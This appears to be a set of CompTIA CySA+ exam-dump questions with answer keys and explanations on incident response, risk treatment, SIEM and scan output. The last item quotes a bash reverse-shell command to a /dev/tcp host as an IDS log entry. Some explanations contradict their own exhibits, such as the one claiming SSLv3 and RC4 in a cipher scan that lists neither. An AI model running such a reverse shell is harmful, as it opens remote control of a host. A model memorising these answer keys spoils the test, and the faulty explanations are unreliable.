After identifying a threat, a company has decided to implement a patch management program to remediate vulnerabilities. Which of the following risk management principles is the company exercising?

- A. Transfer
- B. Accept
- C. Mitigate
- D. Avoid

**Answer:** C

**Explanation:**

Mitigate is the best term to describe the risk management principle that the company is exercising, as it means to reduce the likelihood or impact of a risk. By implementing a patch management program to remediate vulnerabilities, the company is mitigating the threat of cyberattacks that could exploit those vulnerabilities and compromise the security or functionality of the systems. The other terms are not as accurate as mitigate, as they describe different risk management principles. Transfer means to shift the responsibility or burden of a risk to another party, such as an insurer or a contractor. Accept means to acknowledge the existence of a risk and decide not to take any action to reduce it, usually because the risk is low or the cost of mitigation is too high. Avoid means to eliminate the possibility of a risk by changing the plans or activities that could cause it, such as cancelling a project or discontinuing a service.

**NEW QUESTION 153**

A security team is concerned about recent Layer 4 DDoS attacks against the company website. Which of the following controls would best mitigate the attacks?

- A. Block the attacks using firewall rules.
- B. Deploy an IPS in the perimeter network.
- C. Roll out a CDN.
- D. Implement a load balancer.

**Answer:** C

**Explanation:**

Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system

of distributed servers that deliver web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are volumetric attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN can mitigate these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and redundancy for the website<sup>12</sup>. References: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare

**NEW QUESTION 158**

A SOC analyst is analyzing traffic on a network and notices an unauthorized scan. Which of the following types of activities is being observed?

- A. Potential precursor to an attack
- B. Unauthorized peer-to-peer communication
- C. Rogue device on the network
- D. System updates

**Answer:** A

**NEW QUESTION 159**

Which of the following best describes the process of requiring remediation of a known threat within a given time frame?

- A. SLA
- B. MOU
- C. Best-effort patching
- D. Organizational governance

**Answer:** A

**Explanation:**

An SLA (Service Level Agreement) is a contract or agreement between a service provider and a customer that defines the expected level of service, performance, quality, and availability of the service. An SLA also specifies the responsibilities, obligations, and penalties for both parties in case of non-compliance or breach of the agreement. An SLA can help organizations to ensure that their security services are delivered in a timely and effective manner, and that any security incidents or vulnerabilities are addressed and resolved within a specified time frame. An SLA can also help to establish clear communication, expectations, and accountability between the service provider and the customer<sup>12</sup>.

An MOU (Memorandum of Understanding) is a document that expresses a mutual agreement or understanding between two or more parties on a common goal or objective. An MOU is not legally binding, but it can serve as a basis for future cooperation or collaboration. An MOU may not be suitable for requiring remediation of a known threat within a given time frame, as it does not have the same level of enforceability, specificity, or measurability as an SLA.

Best-effort patching is an informal and ad hoc approach to applying security patches or updates to systems or software. Best-effort patching does not follow any defined process, policy, or schedule, and relies on the availability and discretion of the system administrators or users. Best-effort patching may not be effective or efficient for requiring remediation of a known threat within a given time frame, as it does not guarantee that the patches are applied correctly, consistently, or promptly. Best-effort patching may also introduce new risks or vulnerabilities due to human error, compatibility issues, or lack of testing. Organizational governance is the framework of rules, policies, procedures, and processes that guide and direct the activities and decisions of an organization. Organizational governance can help to establish the roles, responsibilities, and accountabilities of different stakeholders within the organization, as well as the goals, values, and principles that shape the organizational culture and behavior. Organizational governance can also help to ensure compliance with internal and external standards, regulations, and laws. Organizational governance may not be sufficient for requiring remediation of a known threat within a given time frame, as it does not specify the details or metrics of the service delivery or performance. Organizational governance may also vary depending on the size, structure, and nature of the organization.

**NEW QUESTION 160**

Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known sources?

- A. Hacktivist threat
- B. Advanced persistent threat
- C. Unintentional insider threat
- D. Nation-state threat

**Answer:** C

**Explanation:**

An unintentional insider threat is a type of network security threat that occurs when a legitimate user of the network unknowingly exposes the network to malicious activity, such as opening a phishing email or a malware-infected attachment from an unknown source. This can compromise the network security and allow attackers to access sensitive data or systems. The other options are not related to the threat concept of ensuring that all network users only open attachments from known sources.

ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 1: Threat and Vulnerability Management, page 13.What is Network Security | Threats, Best Practices

| Imperva, Network Security Threats and Attacks, Phishing section.Five Ways to Defend Against Network Security Threats, 2. Use Firewalls section.

**NEW QUESTION 164**

The security analyst received the monthly vulnerability report. The following findings were included in the report

- Five of the systems only required a reboot to finalize the patch application.
- Two of the servers are running outdated operating systems and cannot be patched

The analyst determines that the only way to ensure these servers cannot be compromised is to isolate them. Which of the following approaches will best minimize the risk of the outdated servers being compromised?

- A. Compensating controls
- B. Due diligence
- C. Maintenance windows
- D. Passive discovery

**Answer:** A

**Explanation:**

Compensating controls are the best approach to minimize the risk of the outdated servers being compromised, as they can provide an alternative or additional layer of security when the primary control is not feasible or effective. Compensating controls are security measures that are implemented to mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. For example, if the servers are running outdated operating systems and cannot be patched, a compensating control could be to isolate them from the rest of the network, or to implement a firewall or an intrusion prevention system to monitor and block any malicious traffic to or from the servers. Compensating controls can help reduce the likelihood or impact of an exploit, but they do not eliminate the risk completely. Therefore, the security analyst should also consider upgrading or replacing the outdated servers as soon as possible.

**NEW QUESTION 166**

An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute. However, the control was unable to detect an attack with nine failed logins. Which of the following best represents what occurred?

- A. False positive
- B. True negative
- C. False negative
- D. True positive

**Answer:** C

**Explanation:**

The correct answer is C. False negative.

A false negative is a situation where an attack or a threat is not detected by a security control, even though it should have been. In this case, the SIEM rule was unable to detect an attack with nine failed logins, which is below the threshold of ten failed logins that triggers an alert. This means that the SIEM rule missed a potential attack and failed to alert the security analysts, resulting in a false negative.

A false positive is a situation where a benign or normal activity is detected as an attack or a threat by a security control, even though it is not. A true negative is a situation where a benign or normal activity is not detected as an attack or a threat by a security control, as expected. A true positive is a situation where an attack or a threat is detected by a security control, as expected. These are not the correct answers for this question.

**NEW QUESTION 168**

A security analyst must preserve a system hard drive that was involved in a litigation request Which of the following is the best method to ensure the data on the device is not modified?

- A. Generate a hash value and make a backup image.
- B. Encrypt the device to ensure confidentiality of the data.
- C. Protect the device with a complex password.
- D. Perform a memory scan dump to collect residual data.

**Answer:** A

**Explanation:**

Generating a hash value and making a backup image is the best method to ensure the data on the device is not modified, as it creates a verifiable copy of the original data that can be used for forensic analysis. Encrypting the device, protecting it with a password, or performing a memory scan dump do not prevent the data from being altered or deleted. Verified References: CompTIA CySA+ CS0-002 Certification Study Guide, page 3291

**NEW QUESTION 169**

Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

- A. Command and control
- B. Actions on objectives
- C. Exploitation
- D. Delivery

**Answer:** A

**Explanation:**

Command and control (C2) is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 enables the adversary to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels. C2 allows the adversary to maintain persistence, exfiltrate data, execute commands, deliver payloads, or spread to other systems or networks.

**NEW QUESTION 170**

Which of the following would eliminate the need for different passwords for a variety of internal applications?

- A. CASB
- B. SSO
- C. PAM
- D. MFA

**Answer:** B

**Explanation:**

Single Sign-On (SSO) allows users to log in with a single ID and password to access multiple applications. It eliminates the need for different passwords for various internal applications, streamlining the authentication process.

**NEW QUESTION 173**

A vulnerability scan of a web server that is exposed to the internet was recently completed. A security analyst is reviewing the resulting vector strings:

Vulnerability 1: CVSS: 3.0/AV:N/AC: L/PR: N/UI : N/S: U/C: H/I : L/A:L Vulnerability 2: CVSS: 3.0/AV: L/AC: H/PR:N/UI : N/S: U/C: L/I : L/A: H Vulnerability 3:



CVSS: 3.0/AV:A/AC: H/PR: L/UI : R/S: U/C: L/I : H/A:L Vulnerability 4: CVSS: 3.0/AV: P/AC: L/PR: H/UI : N/S: U/C: H/I:N/A:L  
Which of the following vulnerabilities should be patched first?

- A. Vulnerability 1
- B. Vulnerability 2
- C. Vulnerability 3
- D. Vulnerability 4

**Answer:** A

#### NEW QUESTION 178

A Chief Information Security Officer (CISO) wants to disable a functionality on a business- critical web application that is vulnerable to RCE in order to maintain the minimum risk level with minimal increased cost.

Which of the following risk treatments best describes what the CISO is looking for?

- A. Transfer
- B. Mitigate
- C. Accept
- D. Avoid

**Answer:** B

#### NEW QUESTION 180

During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its volatility level?

- A. Disk contents
- B. Backup data
- C. Temporary files
- D. Running processes

**Answer:** D

#### Explanation:

The most volatile type of evidence that must be collected first in a computer system is running processes. Running processes are programs or applications that are currently executing on a computer system and using its resources, such as memory, CPU, disk space, or network bandwidth. Running processes are very volatile because they can change rapidly or disappear completely when the system is shut down, rebooted, logged off, or crashed. Running processes can also be affected by other processes or users that may modify or terminate them. Therefore, running processes must be collected first before any other type of evidence in a computer system

#### NEW QUESTION 182

A company's security team is updating a section of the reporting policy that pertains to inappropriate use of resources (e.g., an employee who installs cryptominers on workstations in the office). Besides the security team, which of the following groups should the issue be escalated to first in order to comply with industry best practices?

- A. Help desk
- B. Law enforcement
- C. Legal department
- D. Board member

**Answer:** C

#### Explanation:

The correct answer is C. Legal department.

According to the CompTIA Cybersecurity Analyst (CySA+) certification exam objectives, one of the tasks for a security analyst is to “report and escalate security incidents to appropriate stakeholders and authorities” 1. This includes reporting any inappropriate use of resources, such as installing cryptominers on workstations, which may violate the company’s policies and cause financial and reputational damage. The legal department is the most appropriate group to escalate this issue to first, as they can advise on the legal implications and actions that can be taken against the employee. The legal department can also coordinate with other groups, such as law enforcement, help desk, or board members, as needed. The other options are not the best choices to escalate the issue to first, as they may not have the authority or expertise to handle the situation properly.

#### NEW QUESTION 183

An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of the following should the CSIRT conduct next?

- A. Take a snapshot of the compromised server and verify its integrity
- B. Restore the affected server to remove any malware
- C. Contact the appropriate government agency to investigate
- D. Research the malware strain to perform attribution

**Answer:** A

#### Explanation:

The next action that the CSIRT should conduct after isolating the compromised server from the network is to take a snapshot of the compromised server and verify its integrity. Taking a snapshot of the compromised server involves creating an exact copy or image of the server's data and state at a specific point in time. Verifying its integrity involves ensuring that the snapshot has not been altered, corrupted, or tampered with during or after its creation. Taking a snapshot and verifying its integrity can help preserve and protect any evidence or information related to the incident, as well as prevent any tampering, contamination, or destruction of evidence.

**NEW QUESTION 184**

A technician is analyzing output from a popular network mapping tool for a PCI audit:

```
PORT STATE SERVICE VERSION
22/tcp open  ssh Cisco SSH 1.25 (protocol 2.0)
443/tcp open  ssl/http OpenResty web app server
|_http-server-header: openresty
|_ssl-enum-ciphers:
|_TLSv1.1:
|_ciphers:
|_TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
|_TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
|_compressors:
|_NULL
|_cipher preference: server
|_warnings:
|_Insecure certificate signature (SHA1), score capped at F
|_TLSv1.2:
|_ciphers:
|_TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - F
|_TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - F
|_TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - F
|_TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - F
|_TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - F
|_TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - F
|_TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - F
|_TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - F
|_TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
|_TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
|_compressors:
|_NULL
|_cipher preference: server
|_warnings:
|_Insecure certificate signature (SHA1), score capped at F
|_least strength: F
```

Which of the following best describes the output?

- A. The host is not up or responding.
- B. The host is running excessive cipher suites.
- C. The host is allowing insecure cipher suites.
- D. The Secure Shell port on this host is closed

**Answer: C**

**Explanation:**

The output shows the result of running the `ssl-enum-ciphers` script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites. Cipher suites are combinations of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server supports SSLv3, which is an outdated and insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken stream cipher that should not be used. Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they do not reflect what the output shows. The host is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher suites the host is running, only which ones it supports. The Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell (SSH). The output only shows information about port 443, which is the default port for HTTPS.

**NEW QUESTION 187**

A software developer has been deploying web applications with common security risks to include insufficient logging capabilities. Which of the following actions would be most effective to reduce risks associated with the application development?

- A. Perform static analyses using an integrated development environment.
- B. Deploy compensating controls into the environment.
- C. Implement server-side logging and automatic updates.
- D. Conduct regular code reviews using OWASP best practices.

**Answer: D**

**Explanation:**

Conducting regular code reviews using OWASP best practices is the most effective action to reduce risks associated with the application development. Code reviews are a systematic examination of the source code of an application to detect and fix errors, vulnerabilities, and weaknesses that may compromise the security, functionality, or performance of the application. Code reviews can help to improve the quality and security of the code, as well as to identify and remediate common security risks, such as insufficient logging capabilities. OWASP (Open Web Application Security Project) is a global nonprofit organization that provides free and open resources, tools, standards, and best practices for web application security. OWASP best practices for logging include following a common logging format and approach, logging relevant security events and data, protecting log data from unauthorized access or modification, and using log analysis and monitoring tools to detect and respond to security incidents. By following OWASP best practices for logging, developers can ensure that their web applications

have sufficient and effective logging capabilities that can help to prevent, detect, and mitigate security threats.

References: OWASP Logging Cheat Sheet, OWASP Logging Guide, C9: Implement Security Logging and Monitoring - OWASP Foundation

#### NEW QUESTION 189

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

- A. Access rights
- B. Network segmentation
- C. Time synchronization
- D. Invalid playbook

**Answer:** C

#### Explanation:

Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page 23

#### NEW QUESTION 193

AXSS vulnerability was reported on one of the non-sensitive/non-mission-critical public websites of a company. The security department confirmed the finding and needs to provide a recommendation to the application owner. Which of the following recommendations will best prevent this vulnerability from being exploited? (Select two).

- A. Implement an IPS in front of the web server.
- B. Enable MFA on the website.
- C. Take the website offline until it is patched.
- D. Implement a compensating control in the source code.
- E. Configure TLS v1.3 on the website.
- F. Fix the vulnerability using a virtual patch at the WAF.

**Answer:** DF

#### Explanation:

The best recommendations to prevent an XSS vulnerability from being exploited are to implement a compensating control in the source code and to fix the vulnerability using a virtual patch at the WAF. A compensating control is a technique that mitigates the risk of a vulnerability by adding additional security measures, such as input validation, output encoding, or HTML sanitization. A virtual patch is a rule that blocks or modifies malicious requests or responses at the WAF level, without modifying the application code. These recommendations are effective, efficient, and less disruptive than the other options. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156; Cross Site Scripting Prevention Cheat Sheet, Section: XSS Defense Philosophy.

#### NEW QUESTION 196

During a recent site survey, an analyst discovered a rogue wireless access point on the network. Which of the following actions should be taken first to protect the network while preserving evidence?

- A. Run a packet sniffer to monitor traffic to and from the access point.
- B. Connect to the access point and examine its log files.
- C. Identify who is connected to the access point and attempt to find the attacker.
- D. Disconnect the access point from the network

**Answer:** D

#### Explanation:

The correct answer is D. Disconnect the access point from the network.

A rogue access point is a wireless access point that has been installed on a network without the authorization or knowledge of the network administrator. A rogue access point can pose a serious security risk, as it can allow unauthorized users to access the network, intercept network traffic, or launch attacks against the network or its devices<sup>1234</sup>.

The first action that should be taken to protect the network while preserving evidence is to disconnect the rogue access point from the network. This will prevent any further damage or compromise of the network by blocking the access point from communicating with other devices or users. Disconnecting the rogue access point will also preserve its state and configuration, which can be useful for forensic analysis and investigation. Disconnecting the rogue access point can be done physically by unplugging it from the network port or wirelessly by disabling its radio frequency<sup>5</sup>.

The other options are not the best actions to take first, as they may not protect the network or preserve evidence effectively.

Option A is not the best action to take first, as running a packet sniffer to monitor traffic to and from the access point may not stop the rogue access point from causing harm to the network. A packet sniffer is a tool that captures and analyzes network packets, which are units of data that travel across a network. A packet sniffer can be useful for identifying and troubleshooting network problems, but it may not be able to prevent or block malicious traffic from a rogue access point. Moreover, running a packet sniffer may require additional time and resources, which could delay the response and mitigation of the incident<sup>5</sup>.

Option B is not the best action to take first, as connecting to the access point and examining its log files may not protect the network or preserve evidence.

Connecting to the access point may expose the analyst's device or credentials to potential attacks or compromise by the rogue access point. Examining its log files may provide some information about the origin and activity of the rogue access point, but it may also alter or delete some evidence that could be useful for forensic analysis and investigation. Furthermore, connecting to the access point and examining its log files may not prevent or stop the rogue access point from continuing to harm the network<sup>5</sup>.

Option C is not the best action to take first, as identifying who is connected to the access point and attempting to find the attacker may not protect the network or preserve evidence. Identifying who is connected to the access point may require additional tools or techniques, such as scanning for wireless devices or analyzing network traffic, which could take time and resources away from responding and mitigating the incident. Attempting to find the attacker may also be difficult or impossible, as the attacker may use various methods to hide their identity or location, such as encryption, spoofing, or proxy servers. Moreover, identifying who is connected to the access point and attempting to find the attacker may not prevent or stop the rogue access point from causing further damage or compromise to the network<sup>5</sup>.

References:

? 1 CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives

? 2 Cybersecurity Analyst+ - CompTIA



- ? 3 CompTIA CySA+ CS0-002 Certification Study Guide
- ? 4 CertMaster Learn for CySA+ Training - CompTIA
- ? 5 How to Protect Against Rogue Access Points on Wi-Fi - Byos
- ? 6 Wireless Access Point Protection: 5 Steps to Find Rogue Wi-Fi Networks ...
- ? 7 Rogue Access Point - Techopedia
- ? 8 Rogue access point - Wikipedia
- ? 9 What is a Rogue Access Point (Rogue AP)? - Contextual Security

**NEW QUESTION 199**

A security analyst detects an email server that had been compromised in the internal network. Users have been reporting strange messages in their email inboxes and unusual network traffic. Which of the following incident response steps should be performed next?

- A. Preparation
- B. Validation
- C. Containment
- D. Eradication

**Answer:** C

**Explanation:**

After detecting a compromised email server and unusual network traffic, the next step in incident response is containment, to prevent further damage or spread of the compromise. ReferencesC: ompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5: Incident Response, page 197.

**NEW QUESTION 203**

A cybersecurity analyst is doing triage in a SIEM and notices that the time stamps between the firewall and the host under investigation are off by 43 minutes. Which of the following is the most likely scenario occurring with the time stamps?

- A. The NTP server is not configured on the host.
- B. The cybersecurity analyst is looking at the wrong information.
- C. The firewall is using UTC time.
- D. The host with the logs is offline.

**Answer:** A

**Explanation:**

The most likely scenario occurring with the time stamps is that the NTP server is not configured on the host. NTP is the Network Time Protocol, which is used to synchronize the clocks of computers over a network. NTP uses a hierarchical system of time sources, where each level is assigned a stratum number. The most accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and the devices that synchronize with them are at stratum 1, and so on. NTP clients can query multiple NTP servers and use algorithms to select the best time source and adjust their clocks accordingly<sup>1</sup>. If the NTP server is not configured on the host, the host will rely on its own hardware clock, which may drift over time and become inaccurate. This can cause discrepancies in the time stamps between the host and other devices on the network, such as the firewall, which may be synchronized with a different NTP server or use a different time zone. This can affect the security analysis and correlation of events, as well as the compliance and auditing of the network<sup>23</sup>. References: How the Windows Time Service Works, Time Synchronization - All You Need To Know, Firewall rules logging: a closer look at our new network compliance and ...

**NEW QUESTION 208**

Which of the following threat-modeling procedures is in the OWASP Web Security Testing Guide?

- A. Review Of security requirements
- B. Compliance checks
- C. Decomposing the application
- D. Security by design

**Answer:** C

**Explanation:**

The OWASP Web Security Testing Guide (WSTG) includes a section on threat modeling, which is a structured approach to identify, quantify, and address the security risks associated with an application. The first step in the threat modeling process is decomposing the application, which involves creating use cases, identifying entry points, assets, trust levels, and data flow diagrams for the application. This helps to understand the application and how it interacts with external entities, as well as to identify potential threats and vulnerabilities<sup>1</sup>. The other options are not part of the OWASP WSTG threat modeling process.

**NEW QUESTION 210**

An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign?

- A. Information sharing organization
- B. Blogs/forums
- C. Cybersecurity incident response team
- D. Deep/dark web

**Answer:** A

**Explanation:**

An information sharing organization is a group or network of organizations that share threat intelligence, best practices, or lessons learned related to cybersecurity issues or incidents. An information sharing organization can help security analysts learn about new ransomware campaigns or other emerging threats, as well as get recommendations or guidance on how to prevent, detect, or respond to them. An information sharing organization can also help security analysts collaborate or coordinate with other organizations in the same industry or region that may face similar threats or challenges.

**NEW QUESTION 214**

Which Of the following techniques would be best to provide the necessary assurance for embedded software that drives centrifugal pumps at a power Plant?

- A. Containerization
- B. Manual code reviews
- C. Static and dynamic analysis
- D. Formal methods

**Answer: D**

**Explanation:**

According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition<sup>1</sup>, the best technique to provide the necessary assurance for embedded software that drives centrifugal pumps at a power plant is formal methods. Formal methods are a rigorous and mathematical approach to software development and verification, which can ensure the correctness and reliability of critical software systems. Formal methods can be used to specify, design, implement, and verify embedded software using formal languages, logics, and tools<sup>1</sup>.

Containerization, manual code reviews, and static and dynamic analysis are also useful techniques for software assurance, but they are not as rigorous or comprehensive as formal methods. Containerization is a method of isolating and packaging software applications with their dependencies, which can improve security, portability, and scalability. Manual code reviews are a process of examining the source code of a software program by human reviewers, which can help identify errors, vulnerabilities, and compliance issues. Static and dynamic analysis are techniques of testing and evaluating software without executing it (static) or while executing it (dynamic), which can help detect bugs, defects, and performance issues<sup>1</sup>.

**NEW QUESTION 216**

Which of the following is a nation-state actor least likely to be concerned with?

- A. Detection by MITRE ATT&CK framework.
- B. Detection or prevention of reconnaissance activities.
- C. Examination of its actions and objectives.
- D. Forensic analysis for legal action of the actions taken

**Answer: D**

**Explanation:**

A nation-state actor is a group or individual that conducts cyberattacks on behalf of a government or a political entity. They are usually motivated by national interests, such as espionage, sabotage, or influence operations. They are often highly skilled, resourced, and persistent, and they operate with the protection or support of their state sponsors. Therefore, they are less likely to be concerned with the forensic analysis for legal action of their actions, as they are unlikely to face prosecution or extradition in their own country or by international law. They are more likely to be concerned with the detection by the MITRE ATT&CK framework, which is a knowledge base of adversary tactics and techniques based on real-world observations. The MITRE ATT&CK framework can help defenders identify, prevent, and respond to cyberattacks by nation-state actors.

They are also likely to be concerned with the detection or prevention of reconnaissance activities, which are the preliminary steps of cyberattacks that involve gathering information about the target, such as vulnerabilities, network topology, or user credentials. Reconnaissance activities can expose the presence, intent, and capabilities of the attackers, and allow defenders to take countermeasures. Finally, they are likely to be concerned with the examination of their actions and objectives, which can reveal their motives, strategies, and goals, and help defenders understand their threat profile and attribution.

References:

? 1: MITRE ATT&CK®

? 2: What is the MITRE ATT&CK Framework? | IBM

? 3: MITRE ATT&CK | MITRE

? 4: Cyber Forensics Explained: Reasons, Phases & Challenges of Cyber Forensics

| Splunk

? 5: Digital Forensics: How to Identify the Cause of a Cyber Attack - G2

**NEW QUESTION 219**

A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become?

- A. Hacklivist
- B. Advanced persistent threat
- C. Insider threat
- D. Script kiddie

**Answer: C**

**Explanation:**

The user has become an insider threat by downloading software that contains malware onto a computer that eventually infects numerous other systems. An insider threat is a person or entity that has legitimate access to an organization's systems, networks, or resources and uses that access to cause harm or damage to the organization. An insider threat can be intentional or unintentional, malicious or negligent, and can result from various actions or behaviors, such as downloading unauthorized software, violating security policies, stealing data, sabotaging systems, or collaborating with external attackers.

**NEW QUESTION 224**

A vulnerability management team found four major vulnerabilities during an assessment and needs to provide a report for the proper prioritization for further mitigation. Which of the following vulnerabilities should have the highest priority for the mitigation process?

- A. A vulnerability that has related threats and IoCs, targeting a different industry
- B. A vulnerability that is related to a specific adversary campaign, with IoCs found in the SIEM
- C. A vulnerability that has no adversaries using it or associated IoCs
- D. A vulnerability that is related to an isolated system, with no IoCs

**Answer: B**

**Explanation:**

A vulnerability that is related to a specific adversary campaign, with IoCs found in the SIEM, should have the highest priority for the mitigation process. This is because it indicates that the vulnerability is actively being exploited by a known threat actor, and that the organization's security monitoring system has detected

signs of compromise. This poses a high risk of data breach, service disruption, or other adverse impacts. References: How to Prioritize Vulnerabilities Effectively: Vulnerability Prioritization Explained, Section: How to prioritize vulnerabilities step by step to avoid drowning in sea of problems; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.

**NEW QUESTION 226**

During an incident, some IoCs of possible ransomware contamination were found in a group of servers in a segment of the network. Which of the following steps should be taken next?

- A. Isolation
- B. Remediation
- C. Reimaging
- D. Preservation

**Answer:** A

**Explanation:**

Isolation is the first step to take after detecting some indicators of compromise (IoCs) of possible ransomware contamination. Isolation prevents the ransomware from spreading to other servers or segments of the network, and allows the security team to investigate and contain the incident. Isolation can be done by disconnecting the infected servers from the network, blocking the malicious traffic, or applying firewall rules<sup>12</sup>.

References: 10 Things You Should Do After a Ransomware Attack, How to Recover from a Ransomware Attack: A Step-by-Step Guide

**NEW QUESTION 229**

Which of the following entities should an incident manager work with to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice? (Select two).

- A. Law enforcement
- B. Governance
- C. Legal
- D. Manager
- E. Public relations
- F. Human resources

**Answer:** CE

**Explanation:**

An incident manager should work with the legal and public relations entities to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice. The legal entity can provide guidance on the legal implications and obligations of disclosing the incident, such as compliance with data protection laws, contractual obligations, and liability issues. The public relations entity can help craft the appropriate message and tone for the public communication, as well as manage the reputation and image of the organization in the aftermath of the incident. These two entities can help the incident manager balance the need for transparency and accountability with the need for confidentiality and security<sup>12</sup>. References: Incident Communication Templates, Incident Management: Processes, Best Practices & Tools - Atlassian

**NEW QUESTION 233**

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?

- A. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access
- B. An on-path attack is being performed by someone with internal access that forces users into port 80
- C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
- D. An error was caused by BGP due to new rules applied over the company's internal routers

**Answer:** B

**Explanation:**

An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies network traffic between two parties. In this case, someone with internal access may be performing an on-path attack by forcing users into port 80, which is used for HTTP communication, instead of port 443, which is used for HTTPS communication. This would allow the attacker to compromise the user accounts and access the company's internal portal.

**NEW QUESTION 235**

A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?

- A. Data enrichment
- B. Security control plane
- C. Threat feed combination
- D. Single pane of glass

**Answer:** D

**Explanation:**

A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass for security operations. Official References: <https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack>



#### NEW QUESTION 238

The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk?

- A. Deploy a CASB and enable policy enforcement
- B. Configure MFA with strict access
- C. Deploy an API gateway
- D. Enable SSO to the cloud applications

**Answer:** A

#### Explanation:

A cloud access security broker (CASB) is a tool that can help reduce the risk of shadow IT in the enterprise by providing visibility and control over cloud applications and services. A CASB can enable policy enforcement by blocking unauthorized or risky cloud applications, enforcing data loss prevention rules, encrypting sensitive data, and detecting anomalous user behavior.

#### NEW QUESTION 240

A security analyst identified the following suspicious entry on the host-based IDS logs: `bash -i >& /dev/tcp/10.1.2.3/8080 0>&1`  
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

- A. `#!/bin/bashnc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"`
- B. `#!/bin/bashps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"`
- C. `#!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"`
- D. `#!/bin/bashnetstat -antp |grep 8080 >dev/null && echo "Malicious activity" || echo "OK"`

**Answer:** D

#### Explanation:

